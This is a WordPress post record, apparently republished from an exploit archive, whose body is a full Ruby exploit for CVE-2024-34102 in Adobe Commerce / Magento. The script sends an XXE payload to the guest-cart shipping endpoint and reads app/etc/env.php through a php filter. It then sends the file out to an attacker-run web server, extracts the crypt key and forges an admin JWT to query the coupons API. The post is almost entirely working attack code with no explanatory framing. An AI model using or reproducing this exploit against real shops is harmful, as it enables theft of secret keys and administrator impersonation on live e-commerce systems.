{"id":58371,"date":"2024-07-22T16:29:49","date_gmt":"2024-07-22T13:29:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179640\/CVE-2024-34102.rb.txt"},"modified":"2024-07-22T16:29:49","modified_gmt":"2024-07-22T13:29:49","slug":"adobe-commerce-magento-open-source-xml-injection-user-impersonation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/adobe-commerce-magento-open-source-xml-injection-user-impersonation\/","title":{"rendered":"Adobe Commerce \/ Magento Open Source XML Injection \/ User Impersonation"},"content":{"rendered":"<p>#!\/usr\/bin\/env ruby -W0<\/p>\n<p>require &#8216;bundler&#8217;<br \/>Bundler.require(:default)<\/p>\n<p>DEBUG = false<br \/>USE_PROXY = false<br \/>PROXY_ADDR = &#8216;127.0.0.1&#8217;<br \/>PROXY_PORT = 8080<\/p>\n<p>def debug(msg)<br \/>puts msg.inspect if DEBUG<br \/>end<\/p>\n<p>def rand_text(length = 8)<br \/># random string generator<br \/>o = [(&#8216;a&#8217;..&#8217;z&#8217;), (&#8216;A&#8217;..&#8217;Z&#8217;)].map(&amp;:to_a).flatten<br \/>(0&#8230;length).map { o[rand(o.length)] }.join<br \/>end<\/p>\n<p>def dtd_param_name<br \/>@dtd_param_name ||= rand_text()<br \/>end<\/p>\n<p>def ent_eval<br \/>@ent_eval ||= rand_text()<br \/>end<\/p>\n<p>def leak_param_name<br \/>@leak_param_name ||= rand_text()<br \/>end<\/p>\n<p>def remote_addr<br \/>@remote_addr ||= &#8220;http:\/\/#{@srv_host.host}:#{@srv_host.port}&#8221;<br \/>end<\/p>\n<p>def http<br \/>@http ||= begin<br \/>http = if USE_PROXY<br \/>Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT)<br \/>else<br \/>Net::HTTP.new(@target_uri.host, @target_uri.port)<br \/>end<\/p>\n<p>if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*})<br \/>http.use_ssl = true<br \/>http.verify_mode = OpenSSL::SSL::VERIFY_NONE<br \/>end<\/p>\n<p>http.set_debug_output($stderr) if DEBUG<br \/>http<br \/>end<br \/>end<\/p>\n<p>def make_xxe_dtd<br \/>filter_path = &#8216;php:\/\/filter\/convert.base64-encode\/resource=..\/app\/etc\/env.php&#8217;<br \/>ent_file = rand_text()<br \/>%(<br \/>&lt;!ENTITY % #{ent_file} SYSTEM &#8220;#{filter_path}&#8221;&gt;<br \/>&lt;!ENTITY % #{dtd_param_name} &#8220;&lt;!ENTITY #{ent_eval} SYSTEM &#8216;#{remote_addr}\/?#{leak_param_name}=%#{ent_file};&#8217;&gt;&#8221;&gt;<br \/>)<br \/>end<\/p>\n<p>def xxe_xml_data()<br \/>param_entity_name = rand_text()<\/p>\n<p>xml = &#8220;&lt;?xml version=&#8217;1.0&#8242; ?&gt;&#8221;<br \/>xml += &#8220;&lt;!DOCTYPE #{rand_text()}&#8221;<br \/>xml += &#8216;[&#8216;<br \/>xml += &#8221; &lt;!ELEMENT #{rand_text()} ANY &gt;&#8221;<br \/>xml += &#8221; &lt;!ENTITY % #{param_entity_name} SYSTEM &#8216;#{remote_addr}\/#{rand_text}.dtd&#8217;&gt; %#{param_entity_name}; %#{dtd_param_name}; &#8220;<br \/>xml += &#8216;]&#8217;<br \/>xml += &#8220;&gt; &lt;r&gt;&amp;#{ent_eval};&lt;\/r&gt;&#8221;<\/p>\n<p>xml<br \/>end<\/p>\n<p>LIBXML_NOENT = 2<br \/>LIBXML_PARSEHUGE = 524288<\/p>\n<p>def xxe_request()<br \/>debug(&#8216;Sending XXE request&#8217;)<\/p>\n<p>signature = rand_text().capitalize<\/p>\n<p>post_data = {<br \/>&#8220;address&#8221;: {<br \/>&#8220;#{signature}&#8221;: rand_text(),<br \/>&#8220;totalsCollector&#8221;: {<br \/>&#8220;collectorList&#8221;: {<br \/>&#8220;totalCollector&#8221;: {<br \/>&#8220;\\u0073\\u006F\\u0075\\u0072\\u0063\\u0065\\u0044\\u0061\\u0074\\u0061&#8221;: {<br \/>&#8220;data&#8221;: xxe_xml_data(),<br \/>&#8220;options&#8221;: LIBXML_NOENT|LIBXML_PARSEHUGE<br \/>}<br \/>}<br \/>}<br \/>}<br \/>}<br \/>}.to_json<br \/>req = Net::HTTP::Post.new(&#8216;\/rest\/V1\/guest-carts\/1\/estimate-shipping-methods&#8217;)<br \/>req.body = post_data<br \/>req.content_type = &#8216;application\/json&#8217;<br \/># req.user_agent = &#8216;Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7)&#8217;<br \/>res = http.request(req)<\/p>\n<p>raise RuntimeError, &#8220;Server returned unexpected response&#8221; unless res&amp;.code == &#8216;400&#8217;<\/p>\n<p>body = JSON.parse(res.body)<\/p>\n<p>raise RuntimeError, &#8220;Server returned unexpected response&#8221; unless body[&#8216;parameters&#8217;][&#8216;fieldName&#8217;] == signature<\/p>\n<p>end<\/p>\n<p>TARGET_USER_ID = 1<\/p>\n<p>USER_TYPE_INTEGRATION = 1;<br \/>USER_TYPE_ADMIN = 2;<br \/>USER_TYPE_CUSTOMER = 3;<br \/>USER_TYPE_GUEST = 4;<\/p>\n<p>def jwt_encode(key, algorithm = &#8216;HS256&#8217;)<br \/>def pad_key(key, total_length, pad_char)<br \/>left_padding = (total_length &#8211; key.length) \/ 2<br \/>right_padding = total_length &#8211; key.length &#8211; left_padding<br \/>pad_char * left_padding + key + pad_char * right_padding<br \/>end<br \/>header = {<br \/>kid: &#8220;1&#8221;,<br \/>alg: &#8220;HS256&#8221;<br \/>}<\/p>\n<p>payload = {<br \/>uid: TARGET_USER_ID, <br \/>utypid: USER_TYPE_ADMIN,<br \/>iat: Time.now.to_i, # Token issue time&#8217;,<br \/>exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time<br \/>}<\/p>\n<p>def base64_url_encode(str)<br \/>Base64.urlsafe_encode64(str).tr(&#8216;=&#8217;, &#8221;)<br \/>end<\/p>\n<p>padded_key = pad_key(key, 2048, &#8216;&amp;&#8217;)<\/p>\n<p>encoded_header = base64_url_encode(header.to_json)<br \/>encoded_payload = base64_url_encode(payload.to_json)<\/p>\n<p># Create the signature<br \/>data = &#8220;#{encoded_header}.#{encoded_payload}&#8221;<br \/>signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new(&#8216;sha256&#8217;), padded_key, data)<br \/>encoded_signature = base64_url_encode(signature)<\/p>\n<p># Combine the header, payload, and signature to form the JWT<br \/>&#8220;#{encoded_header}.#{encoded_payload}.#{encoded_signature}&#8221;<\/p>\n<p>end<\/p>\n<p>def exploit()<br \/>begin<br \/>puts &#8220;Starting web server&#8230;&#8221;<br \/>body = make_xxe_dtd()<br \/>file_content = nil<br \/>file_content_reader, file_content_writer = IO.pipe<br \/>WEBrick::HTTPRequest.const_set(&#8220;MAX_URI_LENGTH&#8221;, 10240)<br \/>wbserver_options = {<br \/>:BindAddress =&gt; &#8216;0.0.0.0&#8217;,<br \/>:Port =&gt; @srv_host.port,<br \/>:Logger =&gt; WEBrick::Log.new($stderr, WEBrick::Log::DEBUG),<br \/>:AccessLog =&gt; [],<br \/># :RequestTimeout =&gt; 300, # Increase request timeout<br \/># :RequestMaxUriLength =&gt; 100240 # Increase max URI length<br \/>}<br \/>wbserver_options[:Logger] = WEBrick::Log.new(&#8220;\/dev\/null&#8221;) unless DEBUG<\/p>\n<p>pid = Process.fork do<br \/>file_content_reader.close<\/p>\n<p>server = WEBrick::HTTPServer.new(wbserver_options)<br \/>server.mount_proc &#8216;\/&#8217; do |req, res|<br \/>if req.path =~ \/\\.dtd$\/<br \/>res.body = body<br \/>elsif req.query_string.match(\/#{leak_param_name}=(.*)\/)<br \/>file_content = Base64.decode64(Regexp.last_match(1))<br \/># puts &#8220;Received leaked file content:\\n#{file_content}&#8221;<br \/>file_content_writer.puts file_content<\/p>\n<p>else<br \/>res.body = &#8216;OK&#8217;<br \/>end<br \/>end<\/p>\n<p>trap(&#8220;INT&#8221;) do<br \/>server.shutdown<br \/>file_content_writer.close<br \/>end<\/p>\n<p>server.start<br \/>end<\/p>\n<p>sleep(1)<br \/>xxe_request()<br \/>file_content_writer.close<\/p>\n<p>begin<br \/># Set a timeout for reading from the pipe<br \/>Timeout.timeout(5) do # 5 seconds timeout, adjust as necessary<br \/>file_content = file_content_reader.read_nonblock(10000) # Adjust the size as necessary<br \/>end<br \/>rescue Timeout::Error<br \/>puts &#8220;Reading from pipe timed out.&#8221;<br \/>rescue EOFError<br \/>puts &#8220;End of file reached.&#8221;<br \/>ensure<br \/>file_content_reader.close<br \/>end<\/p>\n<p># Use file_content as needed here<br \/>if file_content<br \/># puts &#8220;Successfully read file content:\\n#{file_content}&#8221;<br \/>key = file_content.match(\/&#8217;key&#8217; =&gt; &#8216;(.*)&#8217;\/)[1]if key<br \/>debug &#8220;Found key: #{key}&#8221;<br \/>jwt = jwt_encode(key)<br \/>puts &#8220;Generated JWT: #{jwt}&#8221;<br \/>puts(&#8220;Sending request with JWT to coupons endpoint&#8221;)<br \/># Perform authenticated request to a admin endpoint<br \/>res = http.request(Net::HTTP::Get.new(&#8216;\/rest\/default\/V1\/coupons\/search?searchCriteria=&#8217;, {&#8216;Authorization&#8217; =&gt; &#8220;Bearer #{jwt}&#8221;}))<br \/>raise RuntimeError, &#8220;Server returned unexpected response&#8221; unless res&amp;.code == &#8216;200&#8217;<br \/>puts &#8220;Available coupons:&#8221;<br \/>puts JSON.pretty_generate(JSON.parse(res.body))<br \/>else<br \/>puts &#8220;Failed to extract key from file content.&#8221;<br \/>end<br \/>else<br \/>puts &#8220;Failed to read file content or content is empty.&#8221;<br \/>end<\/p>\n<p>puts &#8220;Exploit completed&#8221;<\/p>\n<p>rescue RuntimeError =&gt; e<br \/>puts &#8220;#{e.class} &#8211; #{e.message}&#8221;<br \/>ensure<br \/>if pid<br \/>Process.kill(&#8220;INT&#8221;, pid)<br \/>Process.wait(pid)<br \/>end<br \/>end<br \/>end<\/p>\n<p>if __FILE__ == $0<br \/>@target_uri = URI.parse(ARGV[0])<br \/>@srv_host = URI.parse(ARGV[1])<\/p>\n<p>exploit()<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env ruby -W0 require &#8216;bundler&#8217;Bundler.require(:default) DEBUG = falseUSE_PROXY = falsePROXY_ADDR = &#8216;127.0.0.1&#8217;PROXY_PORT = 8080 def debug(msg)puts msg.inspect if DEBUGend def rand_text(length = 8)# random string generatoro = [(&#8216;a&#8217;..&#8217;z&#8217;), (&#8216;A&#8217;..&#8217;Z&#8217;)].map(&amp;:to_a).flatten(0&#8230;length).map { o[rand(o.length)] }.joinend def dtd_param_name@dtd_param_name ||= rand_text()end def ent_eval@ent_eval ||= rand_text()end def leak_param_name@leak_param_name ||= rand_text()end def remote_addr@remote_addr ||= &#8220;http:\/\/#{@srv_host.host}:#{@srv_host.port}&#8221;end def http@http ||= beginhttp = if USE_PROXYNet::HTTP.new(@target_uri.host, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58371","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58371"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58371\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}